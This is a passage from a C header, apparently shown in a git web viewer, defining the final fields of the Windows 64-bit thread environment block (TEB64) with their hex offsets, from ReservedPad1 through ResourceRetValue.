UCHAR ReservedPad1; // 0x1745
|
||||
UCHAR ReservedPad2; // 0x1746
|
||||
UCHAR IdealProcessor; // 0x1747
|
||||
};
|
||||
};
|
||||
ULONG GuaranteedStackBytes; // 0x1748
|
||||
ULONGLONG ReservedForPerf; // 0x1750
|
||||
ULONGLONG ReservedForOle; // 0x1758
|
||||
ULONG WaitingOnLoaderLock; // 0x1760
|
||||
ULONGLONG SavedPriorityState; // 0x1768
|
||||
ULONGLONG SoftPatchPtr1; // 0x1770
|
||||
ULONGLONG ThreadPoolData; // 0x1778
|
||||
ULONGLONG TlsExpansionSlots; // 0x1780
|
||||
ULONGLONG DeallocationBStore; // 0x1788
|
||||
ULONGLONG BStoreLimit; // 0x1790
|
||||
ULONG MuiGeneration; // 0x1798
|
||||
ULONG IsImpersonating; // 0x179c
|
||||
ULONGLONG NlsCache; // 0x17a0
|
||||
ULONGLONG pShimData; // 0x17a8
|
||||
ULONG HeapVirtualAffinity; // 0x17b0
|
||||
ULONGLONG CurrentTransactionHandle; // 0x17b8
|
||||
ULONGLONG ActiveFrame; // 0x17c0
|
||||
ULONGLONG FlsData; // 0x17c8
|
||||
ULONGLONG PreferredLanguages; // 0x17d0
|
||||
ULONGLONG UserPrefLanguages; // 0x17d8
|
||||
ULONGLONG MergedPrefLanguages; // 0x17e0
|
||||
ULONG MuiImpersonation; // 0x17e8
|
||||
union {
|
||||
volatile USHORT CrossTebFlags; // 0x17ec
|
||||
USHORT SpareCrossTebBits : 16; // 0x17ec
|
||||
};
|
||||
union {
|
||||
USHORT SameTebFlags; // 0x17ee
|
||||
struct {
|
||||
USHORT SafeThunkCall : 1; // 0x17ee
|
||||
USHORT InDebugPrint : 1; // 0x17ee
|
||||
USHORT HasFiberData : 1; // 0x17ee
|
||||
USHORT SkipThreadAttach : 1; // 0x17ee
|
||||
USHORT WerInShipAssertCode : 1; // 0x17ee
|
||||
USHORT RanProcessInit : 1; // 0x17ee
|
||||
USHORT ClonedThread : 1; // 0x17ee
|
||||
USHORT SuppressDebugMsg : 1; // 0x17ee
|
||||
USHORT DisableUserStackWalk : 1; // 0x17ee
|
||||
USHORT RtlExceptionAttached : 1; // 0x17ee
|
||||
USHORT InitialThread : 1; // 0x17ee
|
||||
USHORT SpareSameTebBits : 5; // 0x17ee
|
||||
}SameTebFlagStruct;
|
||||
};
|
||||
ULONGLONG TxnScopeEnterCallback; // 0x17f0
|
||||
ULONGLONG TxnScopeExitCallback; // 0x17f8
|
||||
ULONGLONG TxnScopeContext; // 0x1800
|
||||
ULONG LockCount; // 0x1808
|
||||
ULONG SpareUlong0; // 0x180c
|
||||
ULONGLONG ResourceRetValue; // 0x1810
|
||||
}TEB64;
|
||||
Reference in New Issue
Block a user